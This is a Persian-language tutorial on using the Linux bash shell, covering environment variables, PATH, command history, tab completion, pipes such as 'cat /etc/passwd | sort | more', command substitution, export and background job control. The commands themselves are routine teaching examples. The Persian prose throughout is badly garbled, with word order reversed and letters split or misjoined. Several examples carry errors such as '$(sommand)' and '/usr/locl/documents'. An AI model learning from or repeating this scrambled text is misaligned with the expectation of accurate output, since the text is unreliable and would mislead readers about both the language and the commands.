 مسير مانند اطلاعات نوعی شامل بخش یک آرگومان یک . ميکنند قبول نيز را اییه آرگومان ، اه گزینه بر علاوه فرامين، از بسياری
   .ميرود شمار بهls  فرمان آرگومانhome  بخش ls -la /home  فرمان در مثال برای . ميباشد فایل نام یا
  
 (Variables Environment): محيطی ایه متغيير -
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د  می  محيطی ایه متغيير اطلاعات این به . است مفيد کاربر برای که دارد بر در را اطلاعاتی پوسته خود رای  . گوین ال  ب ر  مث  1 متغيي
SHELL استفاده مورد پوسته نوع نمایانگر ، SP و فرمان اعلان ندههنشاند MAILاست شما پستی صندوق محل ندههنشاند :   

 
$ echo $SHELL 
 
/bin/bash 
 
$ echo $MAIL 
 
/var/spool/mail/Alan 

  
  .ميشود اضافه $ علامت اهآن ابتدای به اه متغيير فراخوانی برای هک باشيد داشته توجه

  
ر  یک نمایش برای .کنيد  استفادهdeclare  دستور از ميتوانيد محيطی های متغيير تمام نمایش برای : نکته د  خاص  متغيي د  ميتواني  همانن
 .کنيد  استفادهecho  دستور از بالا
 
 
  (Metacharacters): ويژه ایه کاراکتر -
  

 فرمان یک خروجی دایته برای ميتوانند اه کاراکتر این  .ستنده فرمان پوسته برای خاصی معنای دارای که دارند وجود اییه کاراکتر
 داده توضيح فصل این در ویژه ایه کاراکتر .شوند استفاده زمينه پس در فرمان اجرای یا و فرمان یک خروجی بندی لوله ، فایل یک به
 را شده تایپ قبلی دستورات که است اییهویژگي دارای فرمان پوسته ، کار شدن آسانتر و تایپ مقدار در جویی صرفه یبرا .شد ندهخوا
 قبلا که دستوراتی فرمان پوسته . کنيد ایجاد دستورات برای مستعاری ایهنام شدن، آسانتر برای ميتوانيد شما مچنينه . ميکند داری هنگ

 بررسی  جلوتر نيز موضوع این. نمایيد فراخوانی را قبلی دستورات ، دستورات مجدد تایپ بجای ميتوانيد و ميکند ذخيره اید کرده وارد
  .شد دهخوا

  
ر  را فرمان پوسته که صورتی در يد،  داده تغيي ه  است  ای پوسته bash  پوسته  نباش راه ه ک ا  م وکس  ب تفاده  لين د  اس  نظر  از   bash ميکني

ن  در . است فرمان ایه پوسته دیگر عانوا از قویتر اه قابليت و امکانات شتر  فصل  ای د هخوا بررسی  پوسته  ایه قابليت بي ی  .شد  ن  در ول
   .کنيد استفاده bash پوسته نمایهرا نمایش برای  man bash فرمان دستور از ميتوانيد داشتيد، بيشتری اطلاعات به نياز که صورتی

 
  لينوکس ایهفرمان يافتن

 
 برای date : .نمایيد اجرا کامل مسير تایپ با آنرا ميتوانيد دارد، قرار لينوکس فایل سيستم کجای در توردس یک که بدانيد که صورتی در
  دستور اجرای برای مثال

 
$ /bin/date 

  
 مشکل،  این حل راه ترینهب . بود دهخوا دشوار کار این ، باشد داشته قرار طولانی و سخت ایهمسير در دستوری که صورتی در البته
 تا کنيد اضافه خود فرمان پوسته جستجوی مسير به را دایرکتوری این ميتوانيد سپس . است خاص دایرکتوری یک در فرامين ریداهنگ
  : کند کاوش فرمان وجود برای را فوق دایرکتوری خودکار بطور پوسته خود فرمان، یک تایپ نگامه
 

$ echo $PATH 
/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/home/Alan/bin 

  
ان  خروجی  وق  فرم رای  شده  تعریف  ایهمسير  ف ان  پوسته  ب رای  را فرم اربر  یک  ب شان  خاص  ک انطور ه . ده ميد ن ه  م د  می  ک  بيني

ون  یک  توسط  اه دایرکتوری دا  مه  از کل د  شده  ج شتر  . ان ه  دستوراتی  بي راه ه ک ا  م وکس  ب ه  لين شوند،  ارائ وری  bin در مي  ایه  دایرکت
usr/bin یا  usr/local/binتفاده  گرافيکی  ایهمحيط با که گرافيکی دستورات .دارند قرار شوند  اس   ایهمسير  و usr/bin/X11 در مي

usr/X11R6/binدارد قرار کاربر خانگی دایرکتوری در فرمان، خروجی در شده داده نشان دایرکتوری آخرین . دارند ار قر.  
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د  شوند،  اجرا  خط فرمان در مستقيما ميکنيد دایجا خود که دستوراتی يد هستمایل که صورتی در : نکته وری  یک  ميتواني ه  دایرکت ام  ب   ن
binوری  در اد  خود  خانگی  دایرکت د  ایج ن  و کني ا  در را دستورات  ای ره  آنج د  ذخي وکس  .کني ن  لين وری  ای ار  بطور  را دایرکت ه  خودک  ب

  .ميکند اضافه شده تعریف مسيرهای
 
 ترتيب .دارند قرار  usr/sbin و sbin ایه دایرکتوری در سيستم مدیریت به مربوط دستورات ستيد،ه ریشه کاربر شما که صورتی در

ن  . است  مهم نيز شده تعریف ایهمسير در موجود ایه دایرکتوری وری  ای ه  چپ  از اه  دایرکت شوند  بررسی  راست  ب ابراین  .مي  اگر  بن
ه  دستوری  ام  ب وری  در مه  foo  ن وری  در مه  و usr/bin دایرکت را bin  دایرکت ی  باشد،  داشته  رق رای  . شد  ده خوا اجرا  اول  اجرای  ب
وتر  کار این چگونگی . يدهد تغيير را شده تعریف ایهمسير یا و کنيد تایپ آنرا کامل مسير بایدfoo  دوم دستور  ده خوا داده توضيح  جل

  .شد
 

رار  شما  شده تعریف ایهمسير ایه دایرکتوری در ميکنيد، تایپ که فرامينی تمام د  ق رامين  خی بر . ندارن ی  بصورت  ف  پوسته  در درون
ان  و اه  گزینه با مراهه مستعار نام یک خاص فرمان یک برای که صورتی در . اند شده گنجانده فرمان اد  خاص  ایه  آرگوم د،  ایج  کني
 مختلفی ایهحلم بررسی ترتيب . دارد وجود نيز ستنده فرمان چندی شامل که توابعی ایجاد برای اییههرا مچنينه . ميشود اجرا آن ابتدا
  : است زیر شرح به دهميد انجام دستور یک پيداکردن برای فرمان پوسته که
  
 : مستعار ایهنام
 
  .ميباشند احتمالی ایه آرگومان و اه گزینه مراهه به دستور یک نشانگر و اند شده ایجاد alias دستور با که اییهامن
  
ه  ستنده دستوراتی کلمات این بيشتر . اند شده رزرو مخصوص ایه استفاده برای که ستنده کلماتی : فرمان پوسته شده رزرو لماتک  ک

  .غيره و do، while،  case  مانند ميشوند استفاده نویسی برنامه ایهزبان در معمولا
 
 .ميشوند اجرا فرمان پوسته در مه مراهه که دستورات از ای دسته : وابعت
  
  .اند شده گنجانده فرمان هپوست خود درون که دستوراتی : درونی ستوراتد
 
ر  در دستورات این ایهمسير .دارند قرار لينوکس فایل سيستم در اییهفایل بصورت که معمولی دستورات : فايل سيستم ستوراتد  متغيي

  .است شده گنجانده  PATH محيطی
 

ه   رای  : نکت ایش  ب ستی  نم رامين  از لي ی  ف ه   وbash  درون د  آن های  گزین تفاده help  دستور  از ميتواني د  اس رای  .کني ایش  ب  نم
  .کنيد استفاده نظر مورد دستور نام بعلاوهinfo  دستور از نظر مورد دستور مورد در بيشتر اطلاعات

  
  : مثال برای .کنيد استفاده منظور این برای type  دستور از ميتوانيد دارد، قرار کجا در دستور یک که ميدهبف اینکه برای

  
$type bash 
bash is /bin/bash 

  
تفاده  ... وwhich، case مانند دیگری نفرامي محل یافتن برای بالا دستور از د  اس ه  صورتی  در .کني دین  در دستوری  ک وری  چن  دایرکت

   .کنيد چاپ آنرا وجود ایهمحل تمام type دستور به a  گزینه کردن اضافه با ميتوانيد دارد، قرار
 

تفاده  مجوز شما" یا و "نشد پيدا فرمان این" مانند هایی خطا اب فرمان یک اجرای هنگام اوقات گاهی: نکته ن  از اس ان  ای د  را فرم  "نداری
رار  شما  PATH  مسير  در آن مسير  و اید کرده تایپ صحيح را دستور که کنيد بررسی مورد اول برای .ميشوید مواجه  .باشد  داشته  ق
  .شد خواهد تشریح فایل یک کردن اجرایی چگونگی فایلها، با کارکردن بخش در .نباشد اجرایی نظر مورد فرمان است ممکن

 
  فرمان يک مجدد اجرای

 
شوید  متوجه  آن اجرای از پس و اید کرده تایپ را طولانی بسيار فرمان یک کنيد تصور ه  مي تباه  مرتکب  ک د  شده  اش ا  . ای زی  مطمئن  چي
 فراخوانی  اید کرده اجرا قبلا که دستوراتی آن بوسيله ميتوانيد که است اییه قابليت دارای فرمان پوسته ! ندارد وجود این از تر دردآور
ام  به قسمتی دارای فرمان پوسته .کنيد اجرا مجددا را اهآن تغيير بدون حتی و تغيير یا اصلاح از پس لزوم صورت در و کرده  تاریخچه  ن

(History)  ه  است ی  ک ه  فرامين بلا  ک رده  وارد ق د  ک د  داریه نگ را ای د ميتوا شما . ميکن ن  ني رامين  ای رده  فراخوانی  تاریخچه  از را ف  و ک
  .کنيد استفاده
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 فرمان خط ويرايش

  
رایش  از پس  مجددا و کرده فراخوانی آنرا آسانی به ميتوانيد اید، شده اشتباه مرتکب دستور یک تایپ در که صورتی در را  ، وی  اجرا  آن
رای  ميانبر ایهکليد برخی از ميتوانيد . کنيد ر  راحت  ب ن ا کردن  ت ار  ی تفاده  ک د  اس ثلا  . کني د  م ه  را گر  اشاره Ctrl + a  ایهکلي دای  ب  ابت

  . ندهميد انجام نيز End  و Home ایهکليد را کار مينه . دهد می حرکت فرمان ایهانت به Ctrl + E و فرمان
ی  ایهگر ویرایش در کارکردن مانند فرمان کردن ویرایش سيار  و است  متن اده  ب ام  پس  . است  س رایش  اتم افی  دستور،  وی د  است  ک  کلي
Enterيدهد فشار آن اجرای برای را.   

  
 

  فرمان خودکار کردن کامل
 

رای  . .ميکند کامل اییهروش به را شما ناقص فرمان فرمان پوسته برسد، حداقل به شما تایپ مقدار اینکه برای ن  بکارگيری  ب  قابليت  ای
ه  را موارد برخی زیر در .يدهد فشار راtab کليد و کرده تایپ را نظر مورد فرمان اول حرف چند ابتدا که است کافی د  ک اقص  ميتواني  ن
 : بينيد می کنيد تایپ

 
  محيطی ایه متغيير

  
 .کرد دهخوا کامل محيطی متغيير یک با آنرا فرمان پوسته tab  کليد فشردن با شود، شروع دلار علامت یک با متن که صورتی در
  
  
  کاربری امن
  
  .کرد دهخوا کامل کاربری نام یک بوسيله را آن فرمان پوسته شود، شروع ~ کاراکتر یک هبوسيل متن که صورتی در
  
 

  توابع يا مستعار ایهنام دستورات،
  
  .کرد دهخوا کامل تابع یا مستعار نام دستور، یک بوسيله آنرا فرمان پوسته شود، شروع عادی کاراکتر یک با متن که صورتی رد
  
 
ان  نام یک بوسيله آنرا فرمان پوسته شود، شروع @ علامت یک با متن که صورتی در : ميزبان امن ه  ميزب ل  از ک  می  etc/hosts  فای

  .ميکند کامل خواند،
 
  
  

ان  یک  کردن  کامل  برای که دارد وجود مواقعی دین  فرم ه  چن ثلا  . دارد وجود  گزین دین  م ر  چن ه  دارد وجود  محيطی  متغيي ا  ک  شروع  ب
د هد فشار را Tab  کليد دوبار P  حرف شما که صورتی در موارد این در .ميشود ا  و ي د  ی شار  را Esc+?ایهکلي د، هد ف ام  ي  ایه حالت تم
 : ميشود داده نشان شما به ممکن

 
$ echo $P<tab><tab> or <Esc+?> 
$PATH $PPID $PS1 $PS4 
$PIPESTATUS $PROMPT_COMMAND $PS2 $PWD 

  
  

  فرمان يک مجدد فراخوانی
 
رای  .ميشود ذخيره فرمان پوسته تاریخچه در کامل بطور دستور این گفتم قبلا که مانطوریه کردید، تایپ را دستور یک اینکه از پس  ب

 تعداد به کنيد، اضافه عدد یک آن از پس که صورتی در .کنيد استفادهhistory دستور از ميتوانيد فرمان پوسته تاریخچه محتویات نمایش
  : داد دهخوا نشان را شده تایپ دستورات عدد آن
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$ history 5 
1023 ls 
1024 cd Fonts/ 
1025 man more 
1026 date 
1027 history 5 

  
  :کنيد استفاده زیر ایهروش از ميتوانيد شده تایپ دستورات فراخوانی برای

 
د  از آن بجای .يدکن استفاده تاریخچه ليست در کردن حرکت برای ميتوانيد نما مکان پایين و بالا ایهکليد از : نما مکان ایهليدک  ایهکلي

Ctrl + n و Ctrl + p کنيد استفاده ميتوانيد نيز.  
 

  Ctrl + r:ایهکليد
  

 حروف  آن دارای که دستوری حرف،  چند یا یک تایپ با مثال برای .ميشود استفاده تاریخچه در رشته یک اول به آخر جستجوی برای
  .ميشود داده نمایش است

  
  :Ctrl + s  ایهکليد

 
رای  آن از ميتوانيد که دیگری روش ميگيرد صورت آخر به اول بصورت جستجو ولی لابا مشابه ار  ب ا  کردن  ک رامين  ب تفاده  ف د،  اس  کني
ازه  یا تاریخچه در نظر مورد دستور شماره توانيد می آن از پس که دستور، این از استفاده با .استfc دستور  ذکر  را اه  شماره  از ای ب
د،  ن  کني شگر وی یک  در دستورات  ای ی  رای از  متن شوند  ب ه  مي د  ک رایش  را اه آن ميتواني رده  وی رای  . شوید  خارج  و ک ال  ب ر  دستور  مث  زی

  : کرد دهخوا باز ویرایشگر در را تاریخچه ام ١۵٠ تا ام ١٠٠ دستورات
 

$ fc 100 150 
  

ایلی  در تاریخچه  ليست  ه  ف ام  ب ه  bash_history ن وری  در ک رار  شما  خانگی  دایرکت ره  دارد، ق ش  ذخي ا  آن در و ودمي  دستور  ١٠٠٠ ت
 .ميشود داریهنگ
  
  

 فرامين گسترش و اتصال
  

ان  یک  ورودی یا خروجی دایته قابليت فرمان، پوسته قدرتمند واقعاً ایهقابليت از یکی ه  فرم رامين  ب رای  .است  دیگر  ف ن  ب  منظور،  ای
  .ميشود استفاده ویژه ایه کاراکتر از شد، اشاره قبلا که مانطوره
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  (Piping Commands)فرامين بندی لوله
 

  : مثال برای .ميکند دایته دیگر فرمان ورودی به را فرمان یک خروجی کاراکتر، این .است (|) کاراکتر بندی لوله ویژه کاراکتر
  

$ cat /etc/passwd | sort | more 
adm:x:3:4:adm:/var/adm:/sbin/nologin 
Alan:x:500:500:Alan Bachumian,7852020:/home/Alan:/bin/bash 
apache:x:48:48:Apache:/var/www:/sbin/nologin 
bin:x:1:1:bin:/bin:/sbin/nologin 
Linet:x:501:501:Linet Minasian:/home/Linet:/bin/bash 
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 
--More-- 

  
 را سطر  ره  ابتدای کاراکتر فرمان، این . ميکند دایتهsort  فرمان به را خروجی و اندهخو را etc/passwd فایل محتویات فرمان این

 صفحه بصورت را خروجی نيز دستور این و ميفرستد more دستور به را خروجی و کرده مرتب الفبای بصورت را خروجی و گرفته
  .دهميد نمایش صفحه به
 

 مثلا . است گرفته شکل افزاری نرم مختلف قطعات اساس بر لينوکس پدر یونيکس، هچگون اینکه از است خوبی نمایش بندی لوله قابليت
ه  خوبی  مثال . داد انجام اهآن با بتوان مختلفی ایهکار که ميکردن وصل مه به طوری را مختلف ایهابزار یونيکس در ن  در ک ورد  ای  م

دا  باید کاربران نداشتند، وجود اکنون مانند راحت و گرافيکی ایه پرداز واژه که پيش اهسال : زد ميشود ند  ابت ی  بصورت  را خود  س  متن
د  بندی فرمت خاصی ایه ماکرو بوسيله آنرا سپس و کرده ایجاد د  و ميکردن د  بع د  بررسی  بای ه  ميکردن ده  در آب از چطور  ک  . است  آم
  :ميشد استفاده زیر مانند فرمانی از کار این برای

 
$ nroff -man grep.1 | lpr 

  
 بندی لوله از استفاده با کار حاصل و شده استفاده man ی ماکرو از استفاده با grep. 1 فایل کردن فرمت برای nroff از الاب دستور در
   .است شده فرستاده استlpr  که چاپگر خروجی به
 

  متوالی دستورات
 

افی  .پذیراست  امکان سادگی به کار این . شوند اجرا فرمان یک از استفاده با مزمانه بصورت فرمان چند که دارید نياز اوقات برخی  ک
  : مثال برای .کنيد جدا  (;) کالنين سم کاراکتر یک بوسيله بعدی فرمان از آنرا فرمان ره اتمام از پس است

 
$ date; troff -me mytext | lpr; ls /home 

  
  زمينه پس فرامين

 
 به دستور تا بگذارید باقی معطل را تان فرمان پوسته که نيستيد مایل اوقات برخی . دارند زمان به نياز شدن تمام برای دستورات برخی
  : مثال برای .کنيد اجرا زمينه پس در (&) سند آمپر کاراکتر از استفاده با را نظر مورد دستور ميتوانيد منظور این برای . برسد اتمام

 
$ troff -me mytext & 

  
  .کرد يمهخوا صحبت اهآن درباره جلوتر که دارد وجود زمينه سپ و زمينه پيش ایه پروسه مدیریت برای اییههرا
  
  

  فرامين توسعه
 
 به کار این اینکه بجای کند، تفسير خودش را فرمان یک خروجی تا کنيد وادار را فرمان پوسته ميتوانيد فرامين جانشينی قابليت وسيله به

د  تعيين دیگر دستور یک آرگومان بصورت را فرمان یک ندارداستا خروجی توانيد می شما مورد این در . شود واگذار فرمان خود  .کني
  : است زیر بصورت فرامين جانشينی قابليت شکل دو
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$(sommand) or 'command' 
  

  :کنيد توجه زیر مثال به قابليت این ميدنهف برای
 

$ vi $(find / -print | grep xyzzy) 
  
ار  به شروع ریشه دایرکتوری ازfind  دستور ابتدا .گيرد می صورت نفرامي جانشينی vi  اجرای از قبل دستور، این در رده  ک ام  و ک  ن
ه  را اه آن تمام دستور این و ميشود ارسالgrep  به دستور این خروجی . ميکند چاپ را اه دایرکتوری و اهفایل تمام د  ک  xyzzy رشته  فاق
  .ميکند باز را ستندهxyzzy  رشته دارای که را اییهفایل تمام vi  سپس .ميکند فيلتر را ستنده
  

  حسابی عبارات توسعه
 

ان  یک  به را محاسباتی جمله یک نتایج که د هستيمایل شما که دارد وجود زیادی موارد د  ارسال  فرم رای  راه دو . کني ام  ب  وجود  آن انج
  :دارد

 
$[expression] or $((expression)) 

  
  : کنيد توجه زیر مثال به مطلب شدن روشن برای

 
$ echo “Iam $[2003-1978] years old.” 
Iam 25 years old. 

  
   .ميکند ارسال echo فرمان به را نتيجه سپس و داده انجام را حسابی عبارت ابتدا فرمان پوسته بالا، مثال در
  
 

  محيطی ایه متغيير توسعه
 
ان  پوسته مورد در را اطلاعاتی محيطی ایه متغيير گفتيم، قبلا که مانطوره ر  در فرم د  ب ه  نگامی ه .دارن ر  یک  ک  در را محيطی  متغيي

  : ميشود چاپ آن محتویات شود، چاپ آن نام اینکه بجای يد،هميد قرار دستور یک
 

$ ls -l $BASH 
-rwxr-xr-x 1 root root 626188 Aug 24 2002 /bin/bash 

  
  .داد مهخوا توضيح بيشتر مورد این در .ميکند چاپ آنرا محل BASH  محيطی متغيير از استفاده با ls دستور بالا، مثال در
  

 محيطی ایه متغيير از استفاده
  

ر  CC بکار  اه دایرکتوری مسير و پستی ایهصندوق ، پيکربندی ایهفایل محل مانند اطلاعاتی ذخيره برای محيطی د  ایه  متغيي  .ميرون
  .ستنده نيز عامل سيستم نوع و تاریخچه اندازه فرمان، اعلان شکل برای مقادیری دارای اه متغيير این مچنينه
  

د،  شده  داده اختصاص  شما  فرمان پوسته به اکنون که اییه متغيير نمایش برای د  ان تفاده  declare دستور  از بای د  اس رای   .کني ایش  ب  نم
  : کنيد استفاده فرمان خط دستورات در را آن و داده قرار آن جلوی دلار علامت یک است کافی ، یک ره محتویات

 
$ echo $USER 
Alan 

  
  .دهميد نمایش را سيستم فعلی کاربر نام بالا فرمان بينيد، می که مانطوره
  
 

 عمومی محيطی ایه متغيير
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بلا  اه آن مقادیر که دارند وجود اییه متغيير ميکنيد، باز فرمان پوسته یک که نگامیه ر  رد است  شده  داده تخصيص  ق ن  از برخی  زی  ای
  : اند شده داده نشان اه متغيير

  
  

• BASH : معمول طور به .است فرمان پوسته برنامه کامل مسير محتوی. bin/bash   
  

• : BASH_VERSION دهميد نشان را فرمان پوسته برنامه نسخه شماره.   
 

• : EUID  وثر  شناسایی  شماره اربر  م ی  ک ایش  را فعل ن  .ده ميد نم دار  ای ه  نگامی ه مق شود، ع شرو  پوسته  ک  داده تخصيص  مي
  .ميشود

  
• HISTFILE:  دهميد نمایش را فرامين تاریخچه فایل محل.   

  
• : HISTFILESIZE است ١٠٠٠ معمولا .ميکند داریهنگ خود در تاریخچه که فرامينی تعداد.   

  
• : HISTCMD دهميد نشان تاریخچه در را جاری فرمان شماره.   

  
• : HOME دهميد نشان را جاری کاربر خانگی دایرکتوری  

  
• : HOSTTYPE دهميد نشان را کامپيوتر دهپردازن معماری نوع.   

  
• : MAIL در شما نام به معمولا .دهميد نشان را جاری کاربر پستی صندوق مسير var/spool/mail/دارد قرار.   

  
• : OLDPWD دهميد نشان را فعلی جاری دایرکتوری از قبل مسير.   

  
• : OSTYPE صورت به خروجی ما مورد در .دهميد نشان را عامل سيستم نوع linux-gnuبود دهخوا.   

  
• : PATH صورت  جستجو اه دایرکتوری این در فرمان یک اجرای برای .دهميد نشان را شده معرفی ایه دایرکتوری ليست 

  .ميگيرد
 

• : PPID دهميد نمایش است، کرده شروع را فرمان پوسته که ای پروسه شماره.   
  
  

• : PROMPT_COMMAND دهميد نشان را ميشود اجرا انفرم اعلان نمایش از پيش بار ره که را دستوری. 
  

• : PS1 ان   اعلان در ميتوانيد را اهآن که دارند وجود زیادی مقادیر .دهميد تخصيص را فرمان اعلان مقدار د  خود  فرم  بگنجاني
ار  این برای اعلان به فرمان یک اوقات برخی ... و کامپيوتر نام کاربر، نام زمان، تاریخ، مانند تفاده  ک د  اس ن  در .کني  وردم  ای

PS3 یا PS2 داد مهخوا توضيح بيشتر   ایه متغيير از ميتوانيد که دارد نياز بيشتری ایه.  
 

• : PWD دهميد نشان را جاری دایرکتوری  
  

• : RANDOM ميشود توليد ٩٩٩٩ و ٠ بين تصادفی شماره یک متغيير این به مراجعه با  
  

• : SECONDS است کرده کار به آغاز فرمان پوسته که ای ثانيه تعداد  
  

• : UID فایل در شماره این .دهميد نمایش را فعلی کاربر اصلی شناسایی شماره etc/passwd است شده ذخيره.  
  
 

  خاص محيطی ایه متغيير ايجاد
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د  شما . کنيد برداری رههب ميکنيد، استفاده فرمان پوسته در معمولا که اطلاعاتی ذخيره برای ميتوانيد محيطی ایه متغيير از  ره  ميتواني
د  محيطی  متغيير یک موقت ایجاد برای . کنيد ایجاد خود دلخواه به محيطی متغيير گونه ام  ميتواني ر  ن دار  و متغيي وی  را آن مق  اعلان  جل
  : کنيد تایپ فرمان

 
$ AB=/usr/locl/documents; export AB 

 
ان  پوسته به را متغيير اینexport  دستور . دهميد اختصاص  AB نام به متغيير یک به را دایرکتوری یک مسير بالا مثال  صادر   فرم
  .بود دهخوا موجود اهآن در متغيير این شوند، اجرا نيز دیگری فرمان ایه پوسته که صورتی در بنابراین .ميکند

 
  

 .امالز یک نه است رسم یک کار این .اند شده تعریف بزرگ حروف با محيطی ایه متغيير تمام که باشيد کرده توجه است ممکن : نکته
ار  مه  باز ، کنيد تعيين کوچک حروف با را ی متغيير نام که صورتی در یعنی رد  ده خوا ک ه  .ک يد  داشته  توجه  البت ه  باش ر  ک  xyz  متغيي
  .نيست یکی  XYZبا
  
 

ر متغي این که ای پوسته پنجره از خروج با و بوده موقت که است این دارد وجود محيطی ایه متغيير گونه این ایجاد در که مشکلی  در ي
د  ا،ه  متغيير این دائمی اختصاص برای .شد دهخوا پاک متغير این است، شده داده تخصيص آن ه  را اه آن بای دی  ایه فایل ب  پوسته  پيکربن

د  اضافه  فرمان ن  .کني وتر  موضوع  ای ه  صورتی  در .شد  ده خوا داده توضيح  جل ل  ک ی  يد هست مای وی  درست  متن دار  جل ر  یک  مق  متغيي
  : مثال برای . يدهد قرار آن جلوی را نظر مورد متن و داده قرار پرانتز دو در را متغيير که است کافی گيرد، قرار محيطی

 
$ echo ${HOME}/Documents 
/home/Alan/Documents 

  
 بسيار  export اضافه فرما پوسته پيکربندی فایل به یا و کنيد export را اهآن باید یا اه متغيير از استفاده برای که باشيد داشته خاطر به

   :دستور .نمایيد يدهد تخصيص مه آنرا مقدار متغيير، کردن صادر نگامه در ميتوانيد مثلا .است انعطاف قابل
 

$ export XYZ=/home/Alan/Documents 
  
  : نمایيد اضافه متغيير یک به را مقداری قبلی، مقادیر حفظ با ميتوانيد یا و
 

$ export PATH=$PATH:/home/Alan/Documents 
  
ه  موقت  طور  به  home/Alan/Documents دایرکتوری بالا، مثال در ر  ب ه  صورتی  در .است  شده  اضافه PATH متغيي  احساس  ک

   :کنيد پاک آنراunset دستور از استفاده با ميتوانيد ندارید، نيازی متغيير یک به دیگر کردید
 

$ unset XYZ 
  
  .نيست دلار علامت به نيازی متغيير کردن پاک برای دیدید، که مانطوره
  
 

  زمينه پيش و زمينه پس ایه پروسه مديريت
 
ه  صورتی در وکس  از ک ا  و ای شبکه  محيط  در لين تفاده  ب ال  یک  از اس ی  ترمين تفاده  متن د،  اس ان  پوسته  ميکني زی  اه تن فرم ه  است  چي  ک

از  که صورتی در . بود دهنخوا خبری گرافيکی ایهمحيط از و کنيد استفاده آن از ميتوانيد يد  داشته  ني ا  واحد  آن در باش دین  ب ه  چن  برنام
  .بود دهخوا کننده محدود بسيار مسئله این کنيد، کار

 
ال  ایه  برنامه ميتوانيد آن از استفاده با که دارد یقابليت ولی ندارد، اه برنامه اجرای برای گرافيکی محيطی فرمان پوسته اینکه با  را فع
 اهآن بين و باشيد داشته اجرا حال در زمان یک در را برنامه زیادی تعداد ميتوانيد وسيله این با . یيدنما جابجا زمينه پيش و زمينه پس بين

  .کنيد حرکت
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ه  اجرای با که کردیم اشاره قبلا . دارد وجود زمينه پس در برنامه یک دادن قرار برای گوناگونی ایههرا ه  ای برنام ه  ک  یک  آن آخر  ب
ر  کاراکتر ند  آمپ ه  پس  در است،  دهش  اضافه  (&) س رار  زمين رد  ق تفاده  دیگر  روش . ميگي رای  at دستور  از اس ه  اجرای  ب ه ب  اه  برنام
  .است ، نباشند متصل پوسته به که صورتی

 
ه،  پس در آن دادن قرار و فرمان یک اجرای توقف برای د  از زمين تفاده  Ctrl+z ایهکلي د  اس  متوقف  دستور  اجرای  اینکه  از پس  . کني
  .بگيرید بکار زمينه پس در آنرا bg دستور با یا و کنيد استفاده آورده، زمينه پيش به آنرا ميتوانيد fg دستور از استفاده با شد،

  
 

  زمينه پس ایه پروسه شروع
 
ر  علامت  یک  ، دستور  از پس شوند، اجرا زمينه پس در شما کردن کار نگامه در يد هستمایل که دارید اییه برنامه که صورتی در  آمپ
  : مثال برای .کنيد اضافه آن پایان در (&) سند

  
$ find /usr -print > /home/Alan/usrfiles & 

  
وکس  usr دایرکتوری در موجود ایهفایل تمام دستور این ایلی  در را شما  لين ه  ف ام  ب ره  usrfiles ن د  ذخي ر  علامت  . ميکن ند  آمپ  باعث  س

ه  چه نکهای دیدن برای . شود اجرا زمينه پس در فرمان این که ميشود ه  پس  در اییه  برنام  jobs  دستور  از ستند،ه  اجرا  حال  در زمين
  :کنيد استفاده

 
$ jobs 
[1]- Stopped mc 
[2]+ Stopped vi 
[3] Running find /usr -print >usrfiles & 

د،  دههمشا بالا فرمان خروجی در که مانطوره ه  سه  ميکني ه ز پس  در اجرا  حال  درfind دستور  و mc،  vi برنام  علامت  . ستنده  مين
شاند  منفی  علامت  و است  شده  اجرا  زمينه پس حالت در که است ای پروسه آخرین این که دهميد نشان دوم برنامه کنار در مثبت  ندههن
ه  است ای پروسه ل  ک ه  پس  در پروسه،  آخرین  از قب رار  زمين ه  اینکه  بعلت  . است  شده  داده ق رای  دوم و اول ایه  برنام ارکرد  ب ه  ک  ب
اقی  متوقف  شوند،  اجرا زمينه پيش حالت در که زمانی تا دارند نياز ترمينال خروجی د هخوا ب د  ن ی  .مان ه  ول ه find برنام ه  ک  خروجی  ب
   .ميباشد اجرا حال در ندارد، نيازی ترمينال

  
 دستور  از که صورتی در .نمایيد اضافه jobs فرمان به را l  گزینه ميتوانيد ، زمينه پس ایه برنامه پروسه شماره نمایش برای : نکته

psاجراست حال در زمينه پس در که است دستوری اهآن از کداميک که ببينيد ميتوانيد کنيد، استفاده فعال ایه پروسه نمایش برای.  
  
 

  زمينه پيش و زمينه پس فرامين از استفاده
  
   :کنيد استفاده زیر دستور از انيدميتو زمينه پيش بهvi  برنامه برگرداندن برای شد، ذکر بالا در که مثالی ادامه در
 

$ fg %2 
  
ه  پس  به آنرا مجددا ميتوانيدCtrl+z  ایهکليد فشردن با .شد دهخوا داده نمایش فرمان پوسته روی مجددا vi  برنامه دستور، این با  زمين

  .بفرستيد
  
 
را  اطلاعات  کنيد، ارسال زمينه پس به را دارد نشده ذخيره اطلاعات که ای برنامه یا و پرداز واژه برنامه یک اینکه از قبل : شداره  آن

  .يدهبد دست از را خود اطلاعات است ممکن و ميشوند فراموش سادگی به زمينه پس ایه برنامه .نمایيد ذخيره
  
 شد استفاده  بود شده مشخص jobs دستور در که آن شماره و درصد علامت از زمينه پس برنامه یک نمایش برای دیدید که مانطوریه
 کار این . کنيد استفاده شده داده قرار سوال علامت آن ابتدای که برنامه نام از قسمتی یا و برنامه نام آن بجای ميتوانيد شماره، بر علاوه .
   . کرد دهخوا کمک شما به ستند،ه باز متفاوت فایل دو مراهه به مشابه برنامه دو که نگامیه
 

 : کنيد توجه زیر مثال به مطلب شدن روشن برای
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$ jo  bs 
[2] Stopped vi 
[3]- Stopped mc 
[4]+ Stopped vi ./mytext 
$ fg %?my 

  
   .شد دهخوا داده نمایش فرمان پوسته در است،mytext  فایل ویرایش حال در که vi  برنامه fg %?my دستور تایپ با
  
  

  فرمان پوسته پيکربندی
  

 باید منظور این برای . کنيد تنظيم خود خواسته به بنا آنرا ميتوانيد کنيد، استفاده خود مانفر پوسته از موثرتری بطور بتوانيد اینکه برای
 ميکند تعيين را شما فرمان پوسته رفتار نحوه که دارد وجود پيکربندی فایل تعدادی .کنيد ویرایش را خود فرمان پوسته پيکربندی ایهفایل
ر  پيکربندی ایهفایل . ستنده خاص کاربر یک مخصوص برخی و بوده مشترک اه تهپوس و کاربران تمام برای اهفایل این از برخی .  زی
  : ميکند استفاده اهآن از لينوکس در فرمان پوسته کاربر ره که ستنده اییهفایل
  

• : etc/profile ه  شما  که ميشود اجرا نگامیه فایل این . ميکند ذخيره را کاربر ره کاربری محيط اطلاعات فایل این ست  ب  مسي
ان،  اعلان  شکل  مسير، گزیده پيش مقادیر فایل این . ميکند کار به آغاز فرمان پوسته و شده وارد داد  حداکثر  فرم ایلی  تع ه  ف  ک
